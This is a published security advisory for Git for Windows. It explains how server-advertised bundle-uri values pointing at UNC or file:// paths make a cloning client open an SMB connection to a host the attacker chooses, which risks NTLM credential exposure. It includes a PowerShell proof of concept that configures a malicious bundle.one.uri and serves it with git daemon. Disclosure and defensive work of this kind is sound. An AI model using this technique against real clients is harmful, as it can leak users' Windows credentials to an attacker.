Skip to content

Server-advertised bundle-uri can trigger outbound SMB callbacks via UNC and file:// paths on Windows

High
dscho published GHSA-xrpg-8j9v-v282 Aug 11, 2026

Package

Git for Windows

Affected versions

Confirmed in `v2.53.0.windows.3` and current `main` (`126291e80013de7291b051cda1daad3ab46a1bc1`).

Patched versions

None

Description

Summary

git clone on Git for Windows accepts server-advertised bundle-uri values that are documented as HTTP(S)-only but are actually treated as local filesystem paths when they are not HTTP(S). On Windows, a malicious remote server can therefore advertise a UNC path such as //attacker/share/poc.bundle or file:////attacker/share/poc.bundle, causing the victim client to initiate an outbound SMB connection during clone when transfer.bundleuri=true.

I confirmed this on current main at commit 126291e80013de7291b051cda1daad3ab46a1bc1, and I also confirmed that the same risky code path is present in the released v2.53.0.windows.3 source. The issue is a trust-boundary problem in the bundle-uri feature: remote advertisements are allowed to cross from the documented HTTP(S) scope into local/UNC file access.

Because Git for Windows already treats remote-triggered UNC access as security-sensitive in other code paths, I recommend handling this as a security issue. The strongest directly proven impact in this report is a real SMB callback to the attacker-chosen host. On typical Windows configurations, that callback is likely to lead to NTLM authentication exposure, which is why I recommend High severity, but I want to be explicit that the reproduction below proves the SMB connection itself rather than captured NTLM bytes.

Details

The documentation states that, at the current scope of the bundle-uri feature, all advertised URIs are expected to be HTTP(S) and that file:// is only a future extension:

  • Documentation/technical/bundle-uri.adoc

The released v2.53.0.windows.3 source and current main do not enforce that expectation:

  • bundle-uri.c: copy_uri_to_file() sends only http: and https: URIs to download_https_uri_to_file()
  • bundle-uri.c: if the URI begins with file://, the prefix is stripped
  • bundle-uri.c: all other values, including bare paths and UNC paths, fall through to copy_file(filename, uri, 0)

The remote-triggered call path is:

  • transport.c: transport_get_remote_bundle_uri() requests the server-advertised bundle list when transfer.bundleuri=true
  • builtin/clone.c: clone consumes the remote bundle list before normal fetch completion
  • bundle-uri.c: each advertised URI is fetched by fetch_bundle_uri_internal()
  • copy.c: copy_file() opens the attacker-supplied source path directly

On Git for Windows, that source open goes through the regular Win32 file open path in compat/mingw.c.

Git for Windows already documents UNC/network-share access as security-sensitive in a separate mitigation:

  • compat/mingw.c contains a comment about avoiding NTLM credential leaks from crafted repositories that point to \\attacker-server\\share

This means the bug is not just “remote server can provide a bad URI.” The trust boundary is wrong: server-advertised bundle URIs are treated as if they were user-approved local file locations.

This also appears distinct from the two public 2026 NTLM advisories:

  • GHSA-hv9c-4jm9-jh3x / CVE-2025-66413: malicious clone/fetch server path
  • GHSA-9j5h-h4m7-85hx / CVE-2026-32631: manipulated repository / network-share / symlink path

The present issue uses a different code path and remains reachable through server-advertised bundle-uri values in current main and in the released v2.53.0.windows.3 source.

PoC

Tested platform:

  • Windows
  • Git for Windows source main at 126291e80013de7291b051cda1daad3ab46a1bc1
  • risky code path also present in released v2.53.0.windows.3
  • transfer.bundleuri=true

Minimal reproduction:

  1. Create a file that is not a bundle but is reachable through a UNC path:
$ip = (Get-NetIPAddress -AddressFamily IPv4 |
  Where-Object { $_.IPAddress -like '192.168.*' } |
  Select-Object -First 1 -ExpandProperty IPAddress)

$root = 'D:\codex\tmp_bundle_uri_smb_proof3'
New-Item -ItemType Directory -Force -Path $root | Out-Null

$probe = Join-Path $root 'probe_mid.txt'
$header = [System.Text.Encoding]::ASCII.GetBytes("NOT A BUNDLE`r`n")
$fs = [System.IO.File]::Open(
  $probe,
  [System.IO.FileMode]::Create,
  [System.IO.FileAccess]::Write,
  [System.IO.FileShare]::Read
)
$fs.Write($header, 0, $header.Length)
$fs.SetLength(20MB)
$fs.Dispose()
  1. Create a bare repository whose bundle-uri advertisement points to that UNC path:
$git = 'C:\Program Files\Git\cmd\git.exe'
$server = Join-Path $root 'server.git'

& $git init --bare $server
& $git --git-dir=$server config uploadpack.advertisebundleuris true
& $git --git-dir=$server config bundle.version 1
& $git --git-dir=$server config bundle.mode all
& $git --git-dir=$server config bundle.one.uri "//$ip/d$/codex/tmp_bundle_uri_smb_proof3/probe_mid.txt"
  1. Serve the repository over git://:
$port = 9441
Start-Process -FilePath $git -ArgumentList @(
  'daemon',
  '--verbose',
  '--export-all',
  '--reuseaddr',
  "--base-path=$root",
  '--listen=127.0.0.1',
  "--port=$port"
) -WindowStyle Hidden
  1. Start the clone with transfer.bundleuri=true:
& $git -c transfer.bundleuri=true clone "git://127.0.0.1:$port/server.git" (Join-Path $root 'victim')
  1. Observe the network callback and clone output.

Observed results from my reproduction:

  • The clone attempts to fetch the server-advertised UNC path before normal fetch completion.
  • netstat captured a live SMB session during clone:
TCP 192.168.50.1:445 192.168.50.1:3332 ESTABLISHED 4
TCP 192.168.50.1:3332 192.168.50.1:445 ESTABLISHED 4
  • Clone output showed the remote-provided UNC path being consumed:
Cloning into 'D:\codex\tmp_bundle_uri_smb_proof3\victim'...
error: bad config line 1 in file D:/codex/tmp_bundle_uri_smb_proof3/victim/.git/objects/bundles/tmp_uri_R32RtZ
warning: file at URI '//192.168.50.1/d$/codex/tmp_bundle_uri_smb_proof3/probe_mid.txt' is not a bundle or bundle list
warning: You appear to have cloned an empty repository.

Variant:

  • The explicit file:// UNC form also triggers SMB:
file:////192.168.50.1/d$/codex/tmp_bundle_uri_smb_fileunc/probe_mid.txt
  • In that variant I observed the same kind of established :445 connection during clone.

PoC comment:

  • it proves the issue in the remote-advertised feature itself, not in a local helper
  • it proves real network-side SMB initiation, not only string parsing
  • it proves the server controls the destination UNC host and path seen by the client

Suggested fix direction:

  • treat remote-advertised bundle URIs as remote-only and reject non-HTTP(S) values
  • continue allowing local/file bundle URIs only for explicit user-supplied --bundle-uri workflows if desired

I prepared a local candidate patch and regression test for that direction.

Impact

Confirmed impact:

  • A malicious remote server can force a Windows client to initiate an outbound SMB connection to an attacker-chosen UNC host during git clone when transfer.bundleuri=true.

Likely security consequence:

  • On typical Windows setups, contacting an attacker-controlled SMB host can trigger NTLM authentication behavior automatically. That creates a likely credential-exposure path even without any special repository contents beyond the remote bundle-uri advertisement.

Who is impacted:

  • Windows users of Git for Windows
  • any workflow or wrapper that enables transfer.bundleuri=true
  • cloning or fetching from untrusted remotes that advertise bundle URIs

Why I am filing this as security-sensitive:

  • the attacker controls an external resource reference across a trust boundary
  • the client performs network access to that attacker-selected host
  • Git for Windows already treats remote-triggered UNC access as credential-sensitive elsewhere
  • the issue is present in released v2.53.0.windows.3 source and in current main

note:

  • The strongest directly proven effect in this report is the SMB callback itself. I did not include an external credential-capture trace in this submission, but the callback is established and the NTLM risk on Windows is well understood and consistent with your recent NTLM-related advisories.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-62960

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Externally Controlled Reference to a Resource in Another Sphere

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere. Learn more on MITRE.

Credits